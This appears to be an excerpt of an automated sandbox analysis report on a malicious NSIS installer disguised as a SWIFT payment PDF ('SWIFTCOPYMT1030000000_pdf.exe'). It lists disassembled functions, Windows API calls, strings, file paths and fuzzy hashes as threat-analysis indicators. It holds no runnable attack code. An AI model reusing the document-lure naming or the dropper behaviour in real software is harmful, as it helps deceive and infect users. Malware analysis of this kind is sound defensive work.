Instruction Fuzzy Hash: 6AD012319195205BC3406738AC0C89F7B69DB563317304B32B5BDF12E0C2389D628AE9

Uniqueness

Uniqueness Score: -1.00%

Function 00405EA2 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,00403134,00000008), ref: 00405EB4
LoadLibraryA.KERNELBASE(?,?,?,00403134,00000008), ref: 00405EBF
GetProcAddress.KERNEL32(00000000,?), ref: 00405ED0

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 054130f1168f4888e0973aa3cf4ac603bfb450dfe6f2d22fd482d5db7ed26554
Instruction ID: 2f3dee603afa82187d4e64c95529cacee06f2ec99598d25ed76f38a586475c1c
Opcode Fuzzy Hash: 054130f1168f4888e0973aa3cf4ac603bfb450dfe6f2d22fd482d5db7ed26554
Instruction Fuzzy Hash: FBE08C32A04610ABC6209B209D0896B77ACEB88B41300497EF945F6151D734AC119BBA

Uniqueness

Uniqueness Score: -1.00%

Function 004039B4 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004039F0
ShowWindow.USER32(?), ref: 00403A0D
DestroyWindow.USER32 ref: 00403A21
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403A3D
GetDlgItem.USER32(?,?), ref: 00403A5E
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403A72
IsWindowEnabled.USER32(00000000), ref: 00403A79
GetDlgItem.USER32(?,00000001), ref: 00403B27
GetDlgItem.USER32(?,00000002), ref: 00403B31
SetClassLongA.USER32(?,000000F2,?), ref: 00403B4B
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403B9C
GetDlgItem.USER32(?,00000003), ref: 00403C42
ShowWindow.USER32(00000000,?), ref: 00403C63
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403C75
EnableWindow.USER32(?,?), ref: 00403C90
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403CA6
EnableMenuItem.USER32(00000000), ref: 00403CAD
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403CC5
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403CD8
lstrlenA.KERNEL32(Epicurize Setup: Installing,?,Epicurize Setup: Installing,007A1F00), ref: 00403D01
SetWindowTextA.USER32(?,Epicurize Setup: Installing), ref: 00403D10
ShowWindow.USER32(?,0000000A), ref: 00403E44

Strings

Epicurize Setup: Installing, xrefs: 00403CED, 00403CF7, 00403D00, 00403D0E

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: Epicurize Setup: Installing
API String ID: 3282139019-1921106443
Opcode ID: 0c2cc5d366c93ad890157e52a419f655f0959c8ae2dd263d948fed7b28de4683
Instruction ID: 08d6703954b26bba67f61acca2d9aa754b0d4f7535d1ee947126766f28ce6238
Opcode Fuzzy Hash: 0c2cc5d366c93ad890157e52a419f655f0959c8ae2dd263d948fed7b28de4683
Instruction Fuzzy Hash: 42C1C231904200ABEB21AF25ED45E2B7EACF745706F04453EFA41B11E1C77DA982DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00403622 Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405EA2: GetModuleHandleA.KERNEL32(?,?,?,00403134,00000008), ref: 00405EB4
Part of subcall function 00405EA2: LoadLibraryA.KERNELBASE(?,?,?,00403134,00000008), ref: 00405EBF
Part of subcall function 00405EA2: GetProcAddress.KERNEL32(00000000,?), ref: 00405ED0

lstrcatA.KERNEL32(1033,Epicurize Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Epicurize Setup: Installing,00000000,00000006,C:\Users\user\AppData\Local\Temp\,75EE3410,"C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe",00000000), ref: 0040369D
lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\udskriftskartotek\chiromancy\refalling,1033,Epicurize Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Epicurize Setup: Installing,00000000,00000006,C:\Users\user\AppData\Local\Temp\), ref: 00403712
lstrcmpiA.KERNEL32(?,.exe), ref: 00403725
GetFileAttributesA.KERNEL32(Call), ref: 00403730
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\udskriftskartotek\chiromancy\refalling), ref: 00403779

Part of subcall function 00405AD5: wsprintfA.USER32 ref: 00405AE2

RegisterClassA.USER32(007A1EA0), ref: 004037B6
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 004037CE
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403803
ShowWindow.USER32(00000005,00000000), ref: 00403839
LoadLibraryA.KERNELBASE(RichEd20), ref: 0040384A
LoadLibraryA.KERNEL32(RichEd32), ref: 00403855
GetClassInfoA.USER32(00000000,RichEdit20A,007A1EA0), ref: 00403865
GetClassInfoA.USER32(00000000,RichEdit,007A1EA0), ref: 00403872
RegisterClassA.USER32(007A1EA0), ref: 0040387B
DialogBoxParamA.USER32(?,00000000,004039B4,00000000), ref: 0040389A

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00403656
Call, xrefs: 004036E0, 004036E8, 004036F5, 0040373F, 00403745
RichEd20, xrefs: 00403845
RichEdit, xrefs: 0040386C
Epicurize Setup: Installing, xrefs: 0040364E, 00403654, 00403679, 00403682, 00403697
_Nb, xrefs: 00403795, 004037FD
RichEd32, xrefs: 00403850
.exe, xrefs: 0040371F
C:\Users\user\AppData\Local\Temp\, xrefs: 0040362E
.DEFAULT\Control Panel\International, xrefs: 00403688
C:\Users\user\udskriftskartotek\chiromancy\refalling, xrefs: 004036AC, 004036B4, 0040374C, 00403752, 00403762
RichEdit20A, xrefs: 0040385D, 00403863
"C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe", xrefs: 00403626
1033, xrefs: 00403642, 00403698

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\udskriftskartotek\chiromancy\refalling$Call$Control Panel\Desktop\ResourceLocale$Epicurize Setup: Installing$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 914957316-237657829
Opcode ID: c7dc5bc517227d642f1141329839a7512a010cb895aab6e766c5c3cb5a21175c
Instruction ID: b0afc0e10dc8cbe2448bed9474bc03f366f348945261fe302a10aac9679cd79a
Opcode Fuzzy Hash: c7dc5bc517227d642f1141329839a7512a010cb895aab6e766c5c3cb5a21175c
Instruction Fuzzy Hash: FA61E6716442007EE710BB659C85F373AACEB8275AF00857EFA45B22E2D67D6D01CB2D

Uniqueness

Uniqueness Score: -1.00%

Function 0040173F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\udskriftskartotek\chiromancy\refalling\avram\Peatery50\Busboy,00000000,00000000,00000031), ref: 0040177E
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\udskriftskartotek\chiromancy\refalling\avram\Peatery50\Busboy,00000000,00000000,00000031), ref: 004017A8

Part of subcall function 00405B77: lstrcpynA.KERNEL32(?,?,00000400,0040315F,007A1F00,NSIS Error), ref: 00405B84

Part of subcall function 00404E84: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll,00000000,0078F2A8,007898A8,?,?,?,?,?,?,?,?,?,00402FA6,00000000,?), ref: 00404EBD
Part of subcall function 00404E84: lstrlenA.KERNEL32(00402FA6,Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll,00000000,0078F2A8,007898A8,?,?,?,?,?,?,?,?,?,00402FA6,00000000), ref: 00404ECD
Part of subcall function 00404E84: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll,00402FA6,00402FA6,Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll,00000000,0078F2A8,007898A8), ref: 00404EE0
Part of subcall function 00404E84: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll), ref: 00404EF2
Part of subcall function 00404E84: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F18
Part of subcall function 00404E84: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F32
Part of subcall function 00404E84: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F40

Strings

C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll, xrefs: 0040180C, 00401828
Call, xrefs: 0040175B, 00401764, 00401771, 00401783, 00401794, 004017CA, 004017E0, 004017FE, 0040183E, 004018BF, 004018C8, 004018D2, 004018DD
C:\Users\user\udskriftskartotek\chiromancy\refalling\avram\Peatery50\Busboy, xrefs: 0040176C
C:\Users\user\AppData\Local\Temp\nsv10BA.tmp, xrefs: 00401789, 004017F8, 00401816

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp$C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll$C:\Users\user\udskriftskartotek\chiromancy\refalling\avram\Peatery50\Busboy$Call
API String ID: 1941528284-3433089771
Opcode ID: d3d96636bbead949d86675ec5ab461d68ce1a1ddc8a825193bae02ded4fdc182
Instruction ID: df8d039fdd937f1c478db27dfce12e75bce6feb5164cf919340bcacede668491
Opcode Fuzzy Hash: d3d96636bbead949d86675ec5ab461d68ce1a1ddc8a825193bae02ded4fdc182
Instruction Fuzzy Hash: F241B771900615BACB10BBA5CC46DAF7979DF42368F20423BF525F10E2DA3C5A419A6D

Uniqueness

Uniqueness Score: -1.00%

Function 00404E84 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll,00000000,0078F2A8,007898A8,?,?,?,?,?,?,?,?,?,00402FA6,00000000,?), ref: 00404EBD
lstrlenA.KERNEL32(00402FA6,Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll,00000000,0078F2A8,007898A8,?,?,?,?,?,?,?,?,?,00402FA6,00000000), ref: 00404ECD
lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll,00402FA6,00402FA6,Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll,00000000,0078F2A8,007898A8), ref: 00404EE0
SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll), ref: 00404EF2
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F18
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F32
SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F40

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll, xrefs: 00404EA4, 00404EB6, 00404EBC, 00404EDF, 00404EEB

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll
API String ID: 2531174081-3851766246
Opcode ID: 2a86b03a512ab473c329acdab3c148d37ff30063bb4f0d383429b9152d604446
Instruction ID: 0879e44440130bf100c4abc817e106b172b9c081b4a19821dc72f8a86b472426
Opcode Fuzzy Hash: 2a86b03a512ab473c329acdab3c148d37ff30063bb4f0d383429b9152d604446
Instruction Fuzzy Hash: E3216071900118BFDB019FA5CD849DEBFB9EB45354F14807AF904B6291C6785E40CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00402E6C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 171
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402ECE
GetTickCount.KERNEL32 ref: 00402F55
MulDiv.KERNEL32(7FFFFFFF,00000064,00000020), ref: 00402F82
wsprintfA.USER32 ref: 00402F92
WriteFile.KERNELBASE(00000000,00000000,0078F2A8,7FFFFFFF,00000000), ref: 00402FC0

Strings

... %d%%, xrefs: 00402F8C

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: CountTick$FileWritewsprintf
String ID: ... %d%%
API String ID: 4209647438-2449383134
Opcode ID: f395eb1648f388a93fc8b21f20c206b8706aa4042387daabf36aa7791f524e93
Instruction ID: abbc5e543d40cc295139a54e2e8a13b251616715b744bb5f177e15d4b263a606
Opcode Fuzzy Hash: f395eb1648f388a93fc8b21f20c206b8706aa4042387daabf36aa7791f524e93
Instruction Fuzzy Hash: B1519C7190121AABCF10DF69DA48A9E7BB8BF04355F14413BF901B72C4D3789E50DBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040231A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402358
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsv10BA.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 00402378
RegSetValueExA.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsv10BA.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B1
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsv10BA.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040248E

Strings

C:\Users\user\AppData\Local\Temp\nsv10BA.tmp, xrefs: 00402369, 00402377, 0040238B, 0040239B, 004023A6

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp
API String ID: 1356686001-1065263791
Opcode ID: da0d7a498fd2405c09cfd266c61d295370a8e21e52f1f3187e4aec8230a6b6c5
Instruction ID: 496afd6724d83472fd7aeeeeb6c9636b40b67d15b6efd44fac0fbba193c6cb19
Opcode Fuzzy Hash: da0d7a498fd2405c09cfd266c61d295370a8e21e52f1f3187e4aec8230a6b6c5
Instruction Fuzzy Hash: 40116071E00208BEEB10EFB5CE89EAF7A78EB44358F10403AF905B61D1D6B85D419A69

Uniqueness

Uniqueness Score: -1.00%

Function 004015B3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004056BD: CharNextA.USER32(?,?,outvillain\faber.div,?,00405729,outvillain\faber.div,outvillain\faber.div,?,?,75EE3410,00405474,?,C:\Users\user\AppData\Local\Temp\,75EE3410,00000000), ref: 004056CB
Part of subcall function 004056BD: CharNextA.USER32(00000000), ref: 004056D0
Part of subcall function 004056BD: CharNextA.USER32(00000000), ref: 004056E4

CreateDirectoryA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015DB
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015E5
GetFileAttributesA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015F3
SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\udskriftskartotek\chiromancy\refalling\avram\Peatery50\Busboy,00000000,00000000,000000F0), ref: 00401622

Strings

C:\Users\user\udskriftskartotek\chiromancy\refalling\avram\Peatery50\Busboy, xrefs: 00401617

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\udskriftskartotek\chiromancy\refalling\avram\Peatery50\Busboy
API String ID: 3751793516-4038554312
Opcode ID: 9db9fcc5c7d74c455dd159d915d30689da6efdc5fe5d50dbc9f8e17e04e80f96
Instruction ID: be2e729169105f21f0136a8afe605fb55404e4043758c9297c14daf22ca337c6
Opcode Fuzzy Hash: 9db9fcc5c7d74c455dd159d915d30689da6efdc5fe5d50dbc9f8e17e04e80f96
Instruction Fuzzy Hash: A7114831908150ABDB213F755D04EBF77B4EE56366724073FF492B22E2C63C09429A2E

Uniqueness

Uniqueness Score: -1.00%

Function 00405854 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405868
GetTempFileNameA.KERNELBASE(?,?,00000000,?), ref: 00405882

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405857, 0040585B
"C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe", xrefs: 00405854
nsa, xrefs: 0040585F

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
